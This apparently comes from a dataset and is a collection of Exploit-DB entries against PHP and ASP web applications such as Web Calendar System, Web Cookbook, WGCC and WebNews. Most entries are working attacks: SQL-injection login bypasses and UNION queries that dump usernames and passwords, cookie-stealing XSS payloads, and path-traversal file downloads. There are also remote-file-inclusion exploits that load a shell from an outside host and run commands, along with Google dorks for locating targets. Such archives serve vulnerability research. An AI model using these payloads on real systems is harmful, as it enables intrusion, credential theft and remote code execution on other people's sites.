deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7265
Description: Web Calendar System 3.40 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-11-28
Author: Bl@ckbe@rD

Exploit:
000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : Web Calendar System v 3.22/3.40/3.05/3.23

[+] Exploit Type         : Multiple Exploits (XSS + remote bypass Exploit+Remote SQL Injection )

[+] Google Dork          : intitle:Web Calendar system v 3.40        inurl:.asp
[+] Google Dork          : intitle:Web Calendar system v 3.22        inurl:.asp
[+] Google Dork          : intitle:Web Calendar system v 3.23        inurl:.asp
[+] Google Dork          : intitle:Web Calendar system v 3.05        inurl:.asp

[+] Contact              : blackbeard-sql @ hotmail.fr \\ Damn u crawlers :s


--//--> Exploit : 

1) Remote Bypass Exploit :

http://[website]/[script]/calendar.asp?DoAction=USER&Change=LOGINFORM

username:' or '1'='1

password:' or '1'='1

2) Remote XSS exploit : 

http://[website]/[script]/calendar.asp?Client=1&Lang=3&Search=1&DoAction=Calendar&View=Search

POST /Calendar/calendar.asp?Client=1&Lang=3&Search=1&DoAction=Calendar&View=Search HTTP/1.1
Host: www.southforkwatershed.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.0.4) Gecko/[PII_REDACTED] Firefox 3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://[website]/[script]/calendar.asp?Client=1&Lang=3&Search=1&DoAction=Calendar&View=Search
Cookie: ASPSESSIONIDSABBQBTD=MMPLNBODFDNEKLCLBECLLJOC
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
SText=%3Cscript%3Ealert%28%27XSSed%27%29%3C%2Fscript%3E


HTTP/1.x 200 OK
Cache-Control: no-cache
Date: Fri, 28 Nov 2008 11:45:08 GMT
Pragma: no-cache
Content-Type: text/html
Expires: Fri, 28 Nov 2008 11:44:08 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Encoding: gzip
Vary: Accept-Encoding
Transfer-Encoding: chunked


In simple words :

POST :

SText=<script>alert('Blackbeard is here')</script>

3) Remote SQL injection:

http://[website]/[script]/calendar.asp?DoAction=Calendar&Q_DATE=11/28/2008&View=Event&IDEvent=2824+union+select+1+from+msysobjects

[peace xD]

# milw0rm.com [2008-11-28]
Exploit-DB #22421
Description: Web Chat Manager 2.0 - HTML Code Injection
Type: webapps
Platform: php
Date: 2003-03-25
Author: Over_G

Exploit:
source: https://www.securityfocus.com/bid/7190/info

It has been reported that Web Chat Manager is prone to HTML injection attacks. This problem occurs due to insufficient sanitization of user-supplied input. 

As a result of this insufficiency an attacker may embed HTML code via a HTML form field or URI parameter of the Web Chat Manager user registration page.

It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks are also possible.

http://<target>/chat_dir/register.php?register=yes&username=OverG&email=<scr*pt>alert%20
("Test!")</scr*pt>&email1=<scr*pt>alert%20("Test!")</scr*pt>
Exploit-DB #34289
Description: Web Cocoon simpleCMS - 'show.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-21
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/41526/info

Web Cocoon simpleCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/content/post/show.php?id=xek' union select null,concat_ws(0x3a,username,password),null,null,n ull,null,null,null,null,null,null,null,null,null,n ull,null from user -- &mode=post&gfile=show
Exploit-DB #26068
Description: Web Content Management - 'list.php?strTable' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-03
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14464/info
 
Web content management is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/Admin/News/List.php?strTable=<script>alert(document.cookie)</script><!--
Exploit-DB #26067
Description: Web Content Management - 'validsession.php?strRootpath' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-03
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14464/info

Web content management is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/Includes/validsession.php?strRootpath=');}//%20--></script><script>alert(document.cookie)</script>
Exploit-DB #3592
Description: Web Content System 2.7.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-27
Author: kezzap66345

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>Web Content System <<< v2.7.1 Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name    : Web Content System <<< v2.7.1 Remote File Include Exploit Remote File Include Exploit
//'[Coded by       : KEZZAP66345
//'[Author         : KEZZAP66345
//'[Contact        : kezzap66345@hotmail.com
//'[Dork           : :(
//'[download.Page  : http://aysad.net/download/?id=AySystemWCS27stable
//'[S.Page         : http://aysad.net/
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'<?include($path["JavascriptEdit"]);?>
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# kezzap66345.Turkey
//# ...



     //Basic exploit,but any time : (
   var path="/manage/javascript/"
   var adres="/formjavascript.php?" //dosya ad.
   var acik ="path[JavascriptEdit]=" // remote file include ;)
   var shell="http://freewebs.com/kezzap66345/1.php?" // Shell Script

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; //
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="white">Web Content System v2.7.1 Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="2" color="#FF0000">Target:</font><font face="Arial" size="1" color="blue">[http://[target]/[scriptpath]</font><font color="RED" size="3" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Sorgula" name="B1"><input type="reset" value="Temizle" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">KEZZAP66345</font></b></p>
</center>
</body>
</html>

# milw0rm.com [2007-03-27]
Exploit-DB #24742
Description: Web Cookbook - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-03-13
Author: Saadat Ullah

Exploit:
# Exploit Title: Web Cookbook Multiple SQL Injection
# Date: 2013/3/12
# Exploit Author: Saadat Ullah ， saadi_linux@rocketmail.com
# Software Link: http://sourceforge.net/projects/webcookbook/
# Author HomePage: http://security-geeks.blogspot.com/
# Tested on: Server: Apache/2.2.15 (Centos) PHP/5.3.3

# SQL Injection

http://localhost/cook/searchrecipe.php?sstring=[SQLi]
http://localhost/cook/showtext.php?mode=[SQLi]
http://localhost/cook/searchrecipe.php?mode=1&title=[SQLi]&prefix=&preparation=&postfix=&tipp=&ingredient=


http://localhost/cook/showtext.php?mode=[SQLi]
#Proof Of Concept
In showtext.php
Code:
$mode = $_GET["mode"];
.
.
showText($mode, $art);//sending $mode to a function without sanitizing it
.
.
function showText($kategorie, $art) {
	initDB();
	echo "<div class=\"rdisplay\">\n";
	$query = "SELECT * FROM dat_texte WHERE id = $kategorie"; //using a non sanitize field in the querry
	$result = mysql_query($query);
.
.
All GET Fields Are Vuln To SQLi
http://localhost/cook/searchrecipe.php?mode=1&title=[SQLi]&prefix=&preparation=&postfix=&tipp=&ingredient=
#p0c
In searchrecipe.php
	$title = $_GET['title'];
	$prefix = $_GET['prefix'];
	$preparation = $_GET['preparation'];
	$postfix = $_GET['postfix'];
	$tipp = $_GET['tipp'];
	$ingredient = $_GET['ingredient'];
	.
	.
	.
	if ($title != "") {
		$sstring = "a.title LIKE '%$title%' ";
	}
	.
	.
	searchRecipe($mode, $sstring);
	.
	.
	In Function SearchRecipe
				$query = "SELECT DISTINCT a.id, a.title FROM das_rezept a, dat_ingredient b WHERE a.title LIKE '%$sstring%' OR b.description LIKE '%$sstring%' AND a.id = b.recipe ORDER BY a.title";


http://localhost/cook/searchrecipe.php?sstring=[SQLi]
P0c
$sstring = $_GET['sstring'];
		if ($sstring != "") {
			searchRecipe(0, $sstring);
.
.
.
	$query = "SELECT DISTINCT a.id, a.title FROM das_rezept a, dat_ingredient b WHERE a.title LIKE '%$sstring%' OR b.description LIKE '%$sstring%' AND a.id = b.recipe ORDER BY a.title";


A simple Non-Presistent XSS
http://localhost/cook/searchrecipe.php?mode=1&title=<script>alert('hi');</script>&prefix=&preparation=&postfix=&tipp=&ingredient=


#Independent Pakistani Security Researcher
Exploit-DB #24531
Description: Web Cookbook - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-21
Author: cr4wl3r

Exploit:
# Web Cookbook Multiple Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script: http://sourceforge.net/projects/webcookbook/
# Tested: Win 7

# Proof of Concept
# SQL Injection

http://bastardlabs/[path]/rezeptanzeige.php?currid=[SQLi]
http://bastardlabs/[path]/rezeptanzeige.php?currid=-9999%20union%20select%201,version(),3,4,5,6,7,8,9,10--

# Remote File Disclosure
# Bugs found /admin/dumpdb.php

--------------------------
1 <?php
2 $outfile = $_GET['outfile'];
3 header("Content-Type: text/plain");
4 header("Content-length: " . filesize("../upload/" . $outfile));
5 header("Content-Disposition: attachment; filename=" . $outfile);
6 readfile("../upload/" . $outfile);
7 ?>
--------------------------

http://bastardlabs/[path]/admin/dumpdb.php?outfile=../[file]
http://bastardlabs/[path]/admin/dumpdb.php?outfile=../env_db.php

# Demo:
http://bastardlabs.info/demo/WebCookbook1.png
http://bastardlabs.info/demo/WebCookbook2.png
Exploit-DB #8878
Description: Web Directory PRO - Remote Database Backup
Type: webapps
Platform: php
Date: 2009-06-04
Author: TiGeR-Dz

Exploit:
 ---------------------------------------------------------------
 Web Directory PRO Remote Database Backup Vulnerability
 ---------------------------------------------------------------
 Founder :TiGeR-Dz
 Home:http://www.h4ckf0ru.com
 Script:Web Directory PRO 
 Download:http://www.phpwebdirectoryscript.com/
 Note: in sha alah sanantasire a la misre  you ekahade :)
 ---------------------------------------------------------------
 Exploit
 -------
 www.site.com/[path]/admin/login.php

 go to Download Backup 

 www.site.com/[path]/admin/backup_db.php
 
 booooooooooooommmmmmmmmm the Backup is download :)
 
 
 ----------------------------------------------------------------
 Dem0
 ---------
 http://demo-web-directory-pro.phpwebdirectoryscript.com/admin/login.php

 go to Download Backup 
 
 http://demo-web-directory-pro.phpwebdirectoryscript.com/admin/backup_db.php
booooooooooooommmmmmmmmm the Backup is download :)

--------------------------------------

 Greeting To ALL My Friends (Dz)
 -----------------------------------------

# milw0rm.com [2009-06-04]
Exploit-DB #6335
Description: Web Directory Script 1.5.3 - 'site' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-31
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Web directory script v1.5.3 (site) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.Hussin-X.CoM  |  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
| script : http://sourceworkshop.com/advanced_scripts/web_directory_script.html
|
| DorK   : "Powered by web directory script"
|___________________________________________________|

Exploit: 
________



www.[target].com/Script/index.php?command=open&site=-7+union+select+concat_ws(user(),version(),database())--




L!VE DEMO:
_________


http://links.sourceworkshop.com/index.php?command=open&site=-7+union+select+concat_ws(user(),version(),database())--




admin login

admin/index.php


____________________________( Greetz )_________________________________
|
|    All members of the Forum  WwW.Hussin-X.CoM | WwW.TrYaG.CC
|
| My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | kadmiwe
|  
|    jiko | FAHD | Iraqihack | mos_chori | str0ke | Ghost Hacker
|______________________________________________________________________
 

                       Im IRAQi

# milw0rm.com [2008-08-31]
Exploit-DB #6298
Description: Web Directory Script 2.0 - 'name' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-25
Author: ~!Dok_tOR!~

Exploit:
Web Directory Script <= 2.0 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Contact: coder5(at)topmail.kz 
Home Page: www.antichat.ru
Date found: 23.08.08
Product: Web Directory Script
Version: 2.0
Download script: http://rapidshare.com/files/121448809/W3bDirScr2-nullscript.net.rar
[CREDENTIAL_REDACTED].net
Vulnerability Class: SQL Injection

listing_view.php

Vuln code:

$friendly_url=$_GET['name'];

http://localhost/[installdir]/

magic_quotes_gpc = Off

Exploit:

listing_view.php?name='+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+members/*

Thanks: Zitt, rijy, Koller, NOmeR1, $n@]<e, n0ne, +toxa+, [cash], ettee, HiM@S and All members of antichat.ru and xaker.name .

# milw0rm.com [2008-08-25]
Exploit-DB #18070
Description: Web File Browser 0.4b14 - File Download
Type: webapps
Platform: php
Date: 2011-11-03
Author: Sangyun YOO

Exploit:
Exploit Title: [Web File Browser 0.4b14 File Download Vulnerability]
# Date: [2011/11/03]
# Author: [Sangyun YOO]
# Email: yoosy0302 at naver dot com
# Software Link: [ http://downloads.sourceforge.net/project/webfilebrowser/webfilebrowser/0.4b14/webfilebrowser-0.4b14.zip ]
# Version: [Web File Browser 0.4b14]
# Tested on: [Windows 7 Starter K]
---------------------------------------
 
Using Paros Tool Request Message to the modulation of the Request Line ==>
 
GET http://192.168.0.189/webFileBrowser.php?act=download&subdir=&sortby=name&file=..%2f..%2f..%2f..%2f..%2f[localfile] HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/msword, */*
Accept-Language: ko
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: 192.168.0.189
Cookie: user=admin; loginkey=8d28703726be663cd5afb551bbb78be4; AJXP_LAST_KNOWN_VERSION=3.2.4; mx64B616EE8DEC99D3BFE053EAB04DC8=fcf2ad987a6db7670d4510ff9fa82a66; mx1B5F4F6EE7FC1C64773320E0BBE578=fe7c641b1a977587b5b6e0d355072a84; tab_usersconfig=0
 
 
===== Happy Hacking! =====
Exploit-DB #5606
Description: Web Group Communication Center (WGCC) 1.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: myvx

Exploit:
*************************************************
# Title   : Web Group Communication Center [XSS/SQL] Multiple Remote Vulnerabilies
# Author  : myvx
# Date    : 13.05.2008
*************************************************
# Application : Web Group Communication Center
# Version     : <= 1.0.3 PreRelease #1
# Vendor      :    http://wgcc.de/
# Download    : http://wgcc.de/filebase/Geschuetzer_Bereich/wgcc_release_1_0_2.zip
*************************************************
# google dork : "Web Group Communication Center"

Exploit:
XSS:
http://[target]/[path]/profile.php?action=show&userid=%22%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%2E%63%6B%65%72%73%2E%6F%72%67%2F%73%63%72%69%70%74%6C%65%74%2E%68%74%6D%6C%3C

To bypass the XSS-Filter urlencode your malicious Code.

SQL-INJECTION(you must be logged in):
http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,password,0x3a,email)+FROM+wgcc_user--
or  http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,passwort,0x3a,email)+FROM+wgcc_user--

more:
http://[target]/[path]/picturegallery.php?action=shownext&bildid=[SQL-STATEMENT]
http://[target]/[path]/filebase.php?action=freigeben&id=[SQL-STATEMENT]
http://[target]/[path]/schedule.php?action=del&id=[SQL-STATEMENT]
http://[target]/[path]/profile.php?action=observe&saction=del&id=[SQL-STATEMENT]
http://[target]/[path]/message.php?action=delete&pmid=[SQL-STATEMENT]
http://[target]/[path]/message.php?action=showfolder&folderid=[SQL-STATEMENT]

The Vendor has not been contacted yet.

# milw0rm.com [2008-05-13]
Exploit-DB #21809
Description: Web Help Desk by SolarWinds - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-08
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: Web Help Desk by SolarWinds
# Version: 11.0.7 (older versions may be affected)
# Vendor Site: http://www.webhelpdesk.com
# Software Download: http://www.webhelpdesk.com/help-desk-software/

# Discovered: August 18th 2012
# Disclosure:
# August 19th 2012: Reported to CERT
# August 24th 2012: Public disclosure date is October 8th 2012
# August 28th 2012: Vendor responded, should fix by disclosure date
# August 29th 2012: Vendor asked information on Stored XSS in 'Rejected E-Mail Section'
# August 29th 2012: Sent vendor instructions on how to trigger XSS (not fully documented here)*
# September 21 2012: Vendor sends pre-release version to test (11.0.8)
# September 23 2012: Replied. Still XSS in "Rejected E-Mail Section' but not in Tickets
# September 24 2012: Vendor replied saying "Rejected E-Mail" XSS slated to be fix in next version
# October 8th 2012: Public release

# Vulnerabilities:
# Stored XSS via client web ticket submit system
# Effected fields: Subject & Request Details
# Payload: <script>alert(document.cookie);</script>

# Stored XSS via E-Mail
# Tickets created automatically vis e-mail will also trigger the XSS when viewing.
# Following payloads are triggered with default regular expression filters 
# Body field
# Payloads:
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  
<iframe SRC="javascript:alert('XSS Body');"></iframe>

# Subject field
# Payloads:
<BODY ONLOAD=alert('XSS')>**
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>  
<iframe SRC="javascript:alert('XSS Subject');"></iframe>

# *Viewing rejected e-mails via the 'email.eml' in the "Raw Message Data" section.
# Some payloads:
# <SCRIPT SRC=http://ha.ckers.org/xss.js>
# <XSS STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>

# **To trigger XSS must click on "My Tickets" or "Group Tickets"
Exploit-DB #41262
Description: Web Inspiration Gallery Script 1.0.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy Inspired – Web Inspiration Gallery Script v1.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-inspired-web-inspiration-gallery-script/
# Demo: http://inspired.flippydemos.com/
# Version: 1.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/site.php?id=[SQL]
# -9999+/*!50000union*/+select+concat_ws(0x3a,username,0x3a,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+administrator--
# # # # #
Exploit-DB #30482
Description: Web News 1.1 - 'feed.php?config[root_ordner]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25257/info
 
WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
WebNews 1.1 is vulnerable; other versions may also be affected.
 
http://www.example.com/feed.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id
Exploit-DB #30481
Description: Web News 1.1 - 'index.php?config[root_ordner]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25257/info

WebNews is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

WebNews 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id